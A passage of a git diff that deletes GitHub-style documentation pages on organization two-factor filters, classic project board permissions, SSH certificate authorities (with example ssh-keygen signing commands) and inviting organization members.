%} - -1. To view the two-factor authentication security levels of organization members, including organization owners, on the right, select **Two-factor authentication**, then click **Secure**, **Insecure**, or **Disabled**. - - ![Screenshot of the list of organization members. A dropdown menu, labeled "Two-factor authentication", is expanded and outlined in orange.](/assets/images/help/2fa/filter-org-members-by-2fa.png) - -1. To view outside collaborators in your organization, in the "Organization permissions" sidebar, click **Outside collaborators**. -1. To view which outside collaborators have secure, insecure, or disabled two-factor authentication, above the list of outside collaborators, select the **Two-factor authentication** dropdown menu, then click **Secure**, **Insecure**, or **Disabled**. - -{% else %} - -1. To view organization members, including organization owners, who have enabled or disabled two-factor authentication, on the right, select **2FA**, then click **Enabled** or **Disabled**. - -![Screenshot of the list of organization members. A dropdown menu, labeled "2FA", is expanded and outlined in orange.](/assets/images/help/2fa/legacy-filter-org-members-by-2fa.png) - -1. To view outside collaborators in your organization, in the "Organization permissions" sidebar, click **Outside collaborators**. -1. To view which outside collaborators have enabled or disabled two-factor authentication, above the list of outside collaborators, select the **2FA** dropdown menu, then click **Enabled** or **Disabled**. - -{% endif %} - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization) diff --git a/content/organizations/managing-access-to-your-organizations-project-boards/adding-an-outside-collaborator-to-a-project-board-in-your-organization.md b/content/organizations/managing-access-to-your-organizations-project-boards/adding-an-outside-collaborator-to-a-project-board-in-your-organization.md deleted file mode 100644 index eebefb7b3614..000000000000 --- a/content/organizations/managing-access-to-your-organizations-project-boards/adding-an-outside-collaborator-to-a-project-board-in-your-organization.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: 'Adding an outside collaborator to a {% data variables.product.prodname_project_v1 %} in your organization' -intro: 'As an organization owner or {% data variables.projects.projects_v1_board %} admin, you can add an outside collaborator and customize their permissions to a {% data variables.projects.projects_v1_board %}.' -redirect_from: - - /articles/adding-an-outside-collaborator-to-a-project-board-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/adding-an-outside-collaborator-to-a-project-board-in-your-organization -versions: - feature: projects-v1 -topics: - - Organizations - - Teams -shortTitle: Add a collaborator -allowTitleToDifferFromFilename: true ---- - -{% data reusables.projects.project_boards_old %} - -An outside collaborator is a person who isn't explicitly a member of your organization, but who has permissions to a {% data variables.projects.projects_v1_board %} in your organization. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.organization-wide-project %} -1. Click **Projects (classic)**. -{% data reusables.project-management.select-project %} -{% data reusables.project-management.click-menu %} -{% data reusables.project-management.access-collaboration-settings %} -{% data reusables.project-management.collaborator-option %} -1. Under "Search by username, full name or email address", type the outside collaborator's name, username, or {% data variables.product.prodname_dotcom %} email. -{% data reusables.project-management.add-collaborator %} -{% data reusables.project-management.collaborator-permissions %} diff --git a/content/organizations/managing-access-to-your-organizations-project-boards/index.md b/content/organizations/managing-access-to-your-organizations-project-boards/index.md deleted file mode 100644 index 59b2613fea35..000000000000 --- a/content/organizations/managing-access-to-your-organizations-project-boards/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: 'Managing access to your organization’s {% data variables.product.prodname_projects_v1 %}' -intro: 'As an organization owner or {% data variables.projects.projects_v1_board %} admin, you can give organization members, teams, and outside collaborators different levels of access to {% data variables.projects.projects_v1_boards %} owned by your organization.' -redirect_from: - - /articles/managing-access-to-your-organization-s-project-boards - - /articles/managing-access-to-your-organizations-project-boards - - /github/setting-up-and-managing-organizations-and-teams/managing-access-to-your-organizations-project-boards -versions: - feature: projects-v1 -topics: - - Organizations - - Teams -children: - - /project-board-permissions-for-an-organization - - /managing-access-to-a-project-board-for-organization-members - - /managing-team-access-to-an-organization-project-board - - /managing-an-individuals-access-to-an-organization-project-board - - /adding-an-outside-collaborator-to-a-project-board-in-your-organization - - /removing-an-outside-collaborator-from-an-organization-project-board -shortTitle: 'Manage {% data variables.product.prodname_project_v1 %} access' -allowTitleToDifferFromFilename: true ---- - diff --git a/content/organizations/managing-access-to-your-organizations-project-boards/managing-access-to-a-project-board-for-organization-members.md b/content/organizations/managing-access-to-your-organizations-project-boards/managing-access-to-a-project-board-for-organization-members.md deleted file mode 100644 index 620c3ab03538..000000000000 --- a/content/organizations/managing-access-to-your-organizations-project-boards/managing-access-to-a-project-board-for-organization-members.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: 'Managing access to a {% data variables.product.prodname_project_v1 %} for organization members' -intro: 'As an organization owner or {% data variables.projects.projects_v1_board %} admin, you can set a default permission level for a {% data variables.projects.projects_v1_board %} for all organization members.' -redirect_from: - - /articles/managing-access-to-a-project-board-for-organization-members - - /github/setting-up-and-managing-organizations-and-teams/managing-access-to-a-project-board-for-organization-members -versions: - feature: projects-v1 -topics: - - Organizations - - Teams -shortTitle: Manage access for members -allowTitleToDifferFromFilename: true ---- - -{% data reusables.projects.project_boards_old %} - -By default, organization members have write access to their organization's {% data variables.projects.projects_v1_boards %} unless organization owners or {% data variables.projects.projects_v1_board %} admins set different permissions for specific {% data variables.projects.projects_v1_boards %}. - -## Setting a baseline permission level for all organization members - -> [!TIP] -> You can give an organization member higher permissions to {% data variables.projects.projects_v1_board %}. For more information, see [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization). - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.organization-wide-project %} -1. Click **Projects (classic)**. -{% data reusables.project-management.select-project %} -{% data reusables.project-management.click-menu %} -{% data reusables.project-management.access-collaboration-settings %} -1. Under "Organization member permission", choose a baseline permission level for all organization members: **Read**, **Write**, **Admin**, or **None**. -1. Click **Save**. - -## Further reading - -* [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/managing-an-individuals-access-to-an-organization-project-board) -* [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board) -* [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization) diff --git a/content/organizations/managing-access-to-your-organizations-project-boards/managing-an-individuals-access-to-an-organization-project-board.md b/content/organizations/managing-access-to-your-organizations-project-boards/managing-an-individuals-access-to-an-organization-project-board.md deleted file mode 100644 index b5541c005f7b..000000000000 --- a/content/organizations/managing-access-to-your-organizations-project-boards/managing-an-individuals-access-to-an-organization-project-board.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: 'Managing an individual’s access to an organization {% data variables.product.prodname_project_v1 %}' -intro: 'As an organization owner or {% data variables.projects.projects_v1_board %} admin, you can manage an individual member''s access to a {% data variables.projects.projects_v1_board %} owned by your organization.' -redirect_from: - - /articles/managing-an-individual-s-access-to-an-organization-project-board - - /articles/managing-an-individuals-access-to-an-organization-project-board - - /github/setting-up-and-managing-organizations-and-teams/managing-an-individuals-access-to-an-organization-project-board -versions: - feature: projects-v1 -topics: - - Organizations - - Teams -shortTitle: Manage individual access -allowTitleToDifferFromFilename: true ---- - -{% data reusables.projects.project_boards_old %} - -> [!NOTE] -> {% data reusables.project-management.cascading-permissions %} For more information, see [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization). - -## Giving an organization member access to a {% data variables.projects.projects_v1_board %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.organization-wide-project %} -1. Click **Projects (classic)**. -{% data reusables.project-management.select-project %} -{% data reusables.project-management.click-menu %} -{% data reusables.project-management.access-collaboration-settings %} -{% data reusables.project-management.collaborator-option %} -1. Under "Search by username, full name or email address", type the collaborator's name, username, or {% data variables.product.prodname_dotcom %} email. -{% data reusables.project-management.add-collaborator %} -{% data reusables.project-management.collaborator-permissions %} - -## Changing an organization member's access to a {% data variables.projects.projects_v1_board %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.organization-wide-project %} -1. Click **Projects (classic)**. -{% data reusables.project-management.select-project %} -{% data reusables.project-management.click-menu %} -{% data reusables.project-management.access-collaboration-settings %} -{% data reusables.project-management.collaborator-option %} -{% data reusables.project-management.collaborator-permissions %} - -## Removing an organization member's access to a {% data variables.projects.projects_v1_board %} - -When you remove a collaborator from a {% data variables.projects.projects_v1_board %}, they may still retain access to the board based on the permissions they have for other roles. To completely remove access to a {% data variables.projects.projects_v1_board %}, you must remove access for each role the person has. For instance, a person may have access to the {% data variables.projects.projects_v1_board %} as an organization member or team member. For more information, see [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization). - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.organization-wide-project %} -1. Click **Projects (classic)**. -{% data reusables.project-management.select-project %} -{% data reusables.project-management.click-menu %} -{% data reusables.project-management.access-collaboration-settings %} -{% data reusables.project-management.collaborator-option %} -{% data reusables.project-management.remove-collaborator %} - -## Further reading - -* [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization) diff --git a/content/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board.md b/content/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board.md deleted file mode 100644 index c280c25c0878..000000000000 --- a/content/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: 'Managing team access to an organization {% data variables.product.prodname_project_v1 %}' -intro: 'As an organization owner or {% data variables.projects.projects_v1_board %} admin, you can give a team access to a {% data variables.projects.projects_v1_board %} owned by your organization.' -redirect_from: - - /articles/managing-team-access-to-an-organization-project-board - - /github/setting-up-and-managing-organizations-and-teams/managing-team-access-to-an-organization-project-board -versions: - feature: projects-v1 -topics: - - Organizations - - Teams -shortTitle: Manage team access -allowTitleToDifferFromFilename: true ---- - -{% data reusables.projects.project_boards_old %} - -> [!WARNING] -> * You can change a team's permission level if the team has direct access to a {% data variables.projects.projects_v1_board %}. If the team's access to the {% data variables.projects.projects_v1_board %} is inherited from a parent team, you must change the parent team's access to the {% data variables.projects.projects_v1_board %}. -> * If you add or remove {% data variables.projects.projects_v1_board %} access for a parent team, each of that parent's child teams will also receive or lose access to the {% data variables.projects.projects_v1_board %}. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams). - -## Giving a team access to a {% data variables.projects.projects_v1_board %} - -You can give an entire team the same permission level to a {% data variables.projects.projects_v1_board %}. - -> [!NOTE] -> {% data reusables.project-management.cascading-permissions %} For example, if an organization owner has given a team read permissions to a {% data variables.projects.projects_v1_board %}, and a {% data variables.projects.projects_v1_board %} admin gives one of the team members admin permissions to that board as an individual collaborator, that person would have admin permissions to the {% data variables.projects.projects_v1_board %}. For more information see, [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization). - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.organization-wide-project %} -1. Click **Projects (classic)**. -{% data reusables.project-management.select-project %} -{% data reusables.project-management.click-menu %} -{% data reusables.project-management.access-collaboration-settings %} -1. In the left sidebar, click **Teams**. -1. To add a team, click **Add a team: Select team**. Then, choose a team from the dropdown menu or search for the team you'd like to add. -1. Next to the team name, use the dropdown menu to select the desired permission level: **Read**, **Write**, or **Admin**. - -## Configuring a team's access to a {% data variables.projects.projects_v1_board %} - -If a team's access to a {% data variables.projects.projects_v1_board %} is inherited from a parent team, you must change the parent team's access to the {% data variables.projects.projects_v1_board %} to update access to the child teams. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -1. Above the team's conversation, click **{% octicon "project" aria-hidden="true" %} Projects**. - - ![Screenshot of the main page for a team. In the horizontal navigation bar, the "Projects" tab is outlined in dark orange.](/assets/images/help/organizations/team-project-board-button.png) -1. To change permissions levels, to the right of the {% data variables.projects.projects_v1_board %} you want to update, use the permission level dropdown menu. - -## Further reading - -* [Adding your project to a team](/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team) diff --git a/content/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization.md b/content/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization.md deleted file mode 100644 index 66baaa209f71..000000000000 --- a/content/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: '{% data variables.product.prodname_project_v1_caps %} permissions for an organization' -intro: 'Organization owners and people with {% data variables.projects.projects_v1_board %} admin permissions can customize who has read, write, and admin permissions to your organization’s {% data variables.projects.projects_v1_boards %}.' -redirect_from: - - /articles/project-board-permissions-for-an-organization - - /github/setting-up-and-managing-organizations-and-teams/project-board-permissions-for-an-organization -versions: - feature: projects-v1 -topics: - - Organizations - - Teams -shortTitle: '{% data variables.product.prodname_project_v1_caps %} permissions' -allowTitleToDifferFromFilename: true ---- - -{% data reusables.projects.project_boards_old %} - -## Permissions overview - -There are three levels of permissions to a {% data variables.projects.projects_v1_board %} for people and teams: - -{% data reusables.project-management.project-board-permissions %} - -Organization owners and people with admin permissions can give a person access to an organization {% data variables.projects.projects_v1_board %} individually, as an outside collaborator or organization member, or through their membership in a team or organization. An outside collaborator is someone who is not an organization member but given permissions to collaborate in your organization. - -Organization owners and people with admin permissions to a {% data variables.projects.projects_v1_board %} can also: -* Set default {% data variables.projects.projects_v1_board %} permissions for all organization members. -* Manage access to the {% data variables.projects.projects_v1_board %} for organization members, teams, and outside collaborators. For more information, see [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board), [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/managing-an-individuals-access-to-an-organization-project-board), or [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/managing-access-to-a-project-board-for-organization-members). -* Manage {% data variables.projects.projects_v1_board %} visibility. For more information, see [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/managing-access-to-a-project-board-for-organization-members). - -## Cascading permissions for {% data variables.projects.projects_v1_boards %} - -{% data reusables.project-management.cascading-permissions %} - -For example, if an organization owner has given all organization members read permissions to a {% data variables.projects.projects_v1_board %}, and a {% data variables.projects.projects_v1_board %} admin gives an organization member write permissions to that board as an individual collaborator, that person would have write permissions to the {% data variables.projects.projects_v1_board %}. - -## {% data variables.projects.projects_v1_board_caps %} visibility - -{% data reusables.projects.owners-can-limit-visibility-permissions %} - -{% data reusables.project-management.project-board-visibility %} You can change the {% data variables.projects.projects_v1_board %}'s visibility from private to public and back again. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility). - -## Further reading - -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility) -* [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/managing-an-individuals-access-to-an-organization-project-board) -* [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board) -* [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/managing-access-to-a-project-board-for-organization-members) diff --git a/content/organizations/managing-access-to-your-organizations-project-boards/removing-an-outside-collaborator-from-an-organization-project-board.md b/content/organizations/managing-access-to-your-organizations-project-boards/removing-an-outside-collaborator-from-an-organization-project-board.md deleted file mode 100644 index b168bae8db55..000000000000 --- a/content/organizations/managing-access-to-your-organizations-project-boards/removing-an-outside-collaborator-from-an-organization-project-board.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: 'Removing an outside collaborator from an organization {% data variables.product.prodname_project_v1 %}' -intro: 'As an organization owner or {% data variables.projects.projects_v1_board %} admin, you can remove an outside collaborator''s access to a {% data variables.projects.projects_v1_board %}.' -redirect_from: - - /articles/removing-an-outside-collaborator-from-an-organization-project-board - - /github/setting-up-and-managing-organizations-and-teams/removing-an-outside-collaborator-from-an-organization-project-board -versions: - feature: projects-v1 -topics: - - Organizations - - Teams -shortTitle: Remove outside collaborator -allowTitleToDifferFromFilename: true ---- - -{% data reusables.projects.project_boards_old %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.organization-wide-project %} -1. Click **Projects (classic)**. -{% data reusables.project-management.select-project %} -{% data reusables.project-management.click-menu %} -{% data reusables.project-management.access-collaboration-settings %} -{% data reusables.project-management.collaborator-option %} -{% data reusables.project-management.remove-collaborator %} diff --git a/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md b/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md deleted file mode 100644 index 59425690e576..000000000000 --- a/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: About SSH certificate authorities -intro: 'With an SSH certificate authority, your organization or enterprise account can provide SSH certificates that members and outside collaborators can use to access your resources with Git.' -redirect_from: - - /articles/about-ssh-certificate-authorities - - /github/setting-up-and-managing-organizations-and-teams/about-ssh-certificate-authorities -versions: - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: SSH certificate authorities ---- - -## About SSH certificate authorities - -An SSH certificate is a mechanism for one SSH key to sign another SSH key. If you use an SSH certificate authority (CA) to provide your organization members and outside collaborators with signed SSH certificates, you can add the CA to your enterprise account or organization to allow these organization contributors to use their certificates to access organization resources. - -{% data reusables.organizations.ssh-ca-ghec-only %} - -After you add an SSH CA to your organization or enterprise account, you can use the CA to sign client SSH certificates for organization members and outside collaborators. These organization contributors can use the signed certificates to access that organization's repositories. - -Certificates added to your enterprise grant access to all organizations owned by your enterprise account. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise). - -{% data reusables.organizations.can-require-ssh-cert %} - -Optionally, you can require that members and outside collaborators use SSH certificates to access organization resources. For more information, see [AUTOTITLE](/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities) and [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise). - -For example, you can build an internal system that issues a new certificate to your developers every morning. Each developer can use their daily certificate to work on your organization's repositories on {% data variables.product.github %}. At the end of the day, the certificate can automatically expire, protecting your repositories if the certificate is later compromised. - -{% ifversion ghec %} -Organization contributors can use their signed certificates for authentication even if you've enforced SAML single sign-on (SSO), without the need to authorize the signed certificates. - -Unless you make SSH certificates a requirement, organization members and outside collaborators can continue to use other means of authentication to access your organization's resources with Git, including their username and password, {% data variables.product.pat_generic %}s, and their own SSH keys. -{% endif %} - -{% data reusables.emus.ssh-ca-support-for-emu %} - -## About SSH URLs with SSH certificates - -If your organization requires SSH certificates, to prevent authentication errors, organization members and outside collaborators should use a special URL that includes the organization ID when performing Git operations over SSH. This special URL allows the client and server to more easily negotiate which key on the member's computer should be used for authentication. If a member uses the normal URL, which starts with `git@github.com`, the SSH client might offer the wrong key, causing the operation to fail. - -Anyone with read access to the repository can find this URL by selecting the **Code** dropdown menu on the main page of the repository, then clicking **Use SSH**. - -If your organization doesn't require SSH certificates, contributors can continue to use their own SSH keys, or other means of authentication. In that case, either the special URL or the normal URL, which starts with `git@github.com`, will work. - -## Issuing certificates - -When you issue each certificate, you must include an extension that specifies which {% data variables.product.github %} user the certificate is for. You can reference the user using their login handle{% ifversion ssh-ca-expires %} or their user ID{% endif %}. For example, you can use OpenSSH's `ssh-keygen` command, replacing KEY-IDENTITY with your key identity and USERNAME with a {% data variables.product.github %} username{% ifversion ssh-ca-expires %} or user ID{% endif %}. The certificate you generate will be authorized to act on behalf of that user for any of your organization's resources. Make sure you validate the user's identity before you issue the certificate. - -> [!NOTE] -> You must update to OpenSSH 7.6 or later to use these commands. - -To use the `login` to identify the user, use `extension:login`: - -```shell -ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:login@{% data variables.product.product_url %}=USERNAME ./user-key.pub -``` - -{% ifversion ssh-ca-expires %} -To use the user ID, use `extension:id`: - -```shell -ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:id@{% data variables.product.product_url %}=ID ./user-key.pub -``` - -{% endif %} - -> [!WARNING] -> After a certificate has been signed and issued, the certificate cannot be revoked. - -For CAs uploaded {% ifversion ghec %}after March 27th, 2024{% elsif ghes %}to {% data variables.product.prodname_ghe_server %} version 3.13 or later{% endif %}, you {% ifversion ghes < 3.13 %}will need to{% else %}must{% endif %} use the `-V` flag to configure a lifetime less than 366 days for the certificate. For CAs uploaded {% ifversion ghec %}before this date{% elsif ghes %}before version 3.13{% endif %}, the `-V` flag is optional, and you can create certificates that are irrevocable and live forever. - -{% ifversion ssh-ca-expires %} -If you have legacy CAs that are exempt from the expiration requirement, you can upgrade the CA to enforce the requirement. To learn more, see [AUTOTITLE](/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities) and [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise). - -If you use a username as the login extension, {% data variables.product.company_short %} validates that the named user has not been renamed since the certificate was issued. This prevents a rename attack, where a certificate issued for a username is valid even if the underlying user account changes. To enforce this, the certificate must include the `valid_after` claim, which tells us when the certificate was issued. This field is often missing if an expiration is not required for the certificate, which is why expirations are now required. -{% endif %} - -To issue a certificate for someone who uses SSH to access multiple {% data variables.product.company_short %} products, you can include two login extensions to specify the username for each product. For example, the following command would issue a certificate for USERNAME-1 for the user's account for {% data variables.product.prodname_ghe_cloud %}, and USERNAME-2 for the user's account on {% data variables.product.prodname_ghe_server %} at HOSTNAME. - -```shell -ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:login@github.com=USERNAME-1 extension:login@HOSTNAME=USERNAME-2 ./user-key.pub -``` - -You can restrict the IP addresses from which an organization member can access your organization's resources by using a `source-address` extension. The extension accepts a specific IP address or a range of IP addresses using CIDR notation. You can specify multiple addresses or ranges by separating the values with commas. For more information, see [Classless Inter-Domain Routing](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation) on Wikipedia. - -```shell -ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:login@{% data variables.product.product_url %}=USERNAME -O source-address=COMMA-SEPARATED-LIST-OF-IP-ADDRESSES-OR-RANGES ./user-key.pub -``` diff --git a/content/organizations/managing-git-access-to-your-organizations-repositories/index.md b/content/organizations/managing-git-access-to-your-organizations-repositories/index.md deleted file mode 100644 index fb96043184cb..000000000000 --- a/content/organizations/managing-git-access-to-your-organizations-repositories/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Managing Git access to your organization's repositories -intro: You can add an SSH certificate authority (CA) to your organization and allow members to access the organization's repositories over Git using keys signed by the SSH CA. -redirect_from: - - /articles/managing-git-access-to-your-organizations-repositories-using-ssh-certificate-authorities - - /articles/managing-git-access-to-your-organizations-repositories - - /github/setting-up-and-managing-organizations-and-teams/managing-git-access-to-your-organizations-repositories -versions: - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -children: - - /about-ssh-certificate-authorities - - /managing-your-organizations-ssh-certificate-authorities -shortTitle: Manage Git access ---- - -{% data reusables.organizations.ssh-ca-ghec-only %} diff --git a/content/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities.md b/content/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities.md deleted file mode 100644 index c6dd6123b481..000000000000 --- a/content/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Managing your organization's SSH certificate authorities -intro: You can add or delete SSH certificate authorities from your organization. -redirect_from: - - /articles/managing-your-organizations-ssh-certificate-authorities - - /github/setting-up-and-managing-organizations-and-teams/managing-your-organizations-ssh-certificate-authorities -versions: - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage SSH authorities -permissions: Organization owners can manage an organization's SSH certificate authorities (CA). ---- - -You can allow members to access your organization's repositories using SSH certificates you provide by adding an SSH CA to your organization. {% data reusables.organizations.can-require-ssh-cert %} For more information, see [AUTOTITLE](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities). - -{% data reusables.organizations.ssh-ca-ghec-only %} - -{% data reusables.organizations.add-extension-to-cert %} - -## Adding an SSH certificate authority - -If you require SSH certificates for your enterprise, enterprise members should use a special URL for Git operations over SSH. For more information, see [AUTOTITLE](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities#about-ssh-urls-with-ssh-certificates). - -{% data reusables.enterprise.certificate-authority-usage %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -{% data reusables.organizations.new-ssh-ca %} -{% data reusables.organizations.require-ssh-cert %} - -## Deleting an SSH certificate authority - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -{% data reusables.organizations.delete-ssh-ca %} -{% ifversion ssh-ca-expires %} - -## Upgrading an SSH certificate authority - -CAs uploaded to your organization {% ifversion ghec %}prior to March 27th, 2024,{% elsif ghes %}before {% data variables.product.prodname_ghe_server %} version 3.13{% endif %} allow the use of non-expiring certificates. To learn more about why expirations are now required for new CAs, see [AUTOTITLE](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities#issuing-certificates). You can upgrade an existing CA to prevent it from issuing non-expiring certificates. For best security, we strongly recommend upgrading all your CAs once you validate you're not reliant on non-expiring certificates. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -1. Under "SSH Certificate Authorities", to the right of the CA you want to upgrade, click **Upgrade**. -1. Read the warning, then click **Upgrade**. - -After upgrading the CA, non-expiring certificates signed by that CA will be rejected. -{% endif %} diff --git a/content/organizations/managing-membership-in-your-organization/adding-people-to-your-organization.md b/content/organizations/managing-membership-in-your-organization/adding-people-to-your-organization.md deleted file mode 100644 index 51ad3672ea6f..000000000000 --- a/content/organizations/managing-membership-in-your-organization/adding-people-to-your-organization.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Adding people to your organization -intro: 'You can make anyone a member of your organization using their {% data variables.product.github %} username or email address.' -redirect_from: - - /articles/adding-people-to-your-organization - - /github/setting-up-and-managing-organizations-and-teams/adding-people-to-your-organization -versions: - ghes: '*' -permissions: Organization owners can add people to an organization. -shortTitle: Add people to organization ---- -{% ifversion organization-invitation-enhancements %} - -## Adding people to your organization - -{% endif %} - -If your organization [requires members to use two-factor authentication](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization), users must [enable two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa) before you can add them to the organization. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.organizations.invite_member_from_people_tab %} -{% data reusables.organizations.invite_to_org %} -{% data reusables.organizations.choose-to-restore-privileges %} -{% data reusables.organizations.choose-user-role %} -{% data reusables.organizations.choose-user-license %} -{% data reusables.organizations.add-user-to-teams %} -{% data reusables.organizations.send-invitation %} - -{% ifversion organization-invitation-enhancements %} - -## Retrying or canceling expired invitations - -Invitations expire after 7 days. You can retry or cancel expired invitations, either one by one or in bulk. Failed invitations to outside collaborators can also be found in this view. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.organizations.retrying-or-deleting-expired-invitations %} - -{% endif %} - -## Further reading - -* [AUTOTITLE](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team) diff --git a/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md b/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md deleted file mode 100644 index 01603b31bcf1..000000000000 --- a/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Can I create accounts for people in my organization? -intro: 'While you can add users to an organization you''ve created, you can''t create personal accounts on behalf of another person.' -redirect_from: - - /articles/can-i-create-accounts-for-those-in-my-organization - - /articles/can-i-create-accounts-for-people-in-my-organization - - /github/setting-up-and-managing-organizations-and-teams/can-i-create-accounts-for-people-in-my-organization -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Create accounts for people ---- - -## About personal accounts - -Because you access an organization by logging in to a personal account, each of your team members needs to create their own personal account. After you have usernames for each person you'd like to add to your organization, you can add the users to teams. - -{% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% else %}You{% endif %} can use SAML single sign-on to centrally manage the access that personal accounts have to the organization's resources through an identity provider (IdP). For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -You can also consider {% data variables.product.prodname_emus %}. {% data reusables.enterprise-accounts.emu-short-summary %} - -## Adding users to your organization - -1. Provide each person instructions to [create a personal account](/get-started/start-your-journey/creating-an-account-on-github). -1. Ask for the username of each person you want to give organization membership to. -1. [Invite the new personal accounts to join](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization) your organization. Use [organization roles](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization) and [repository 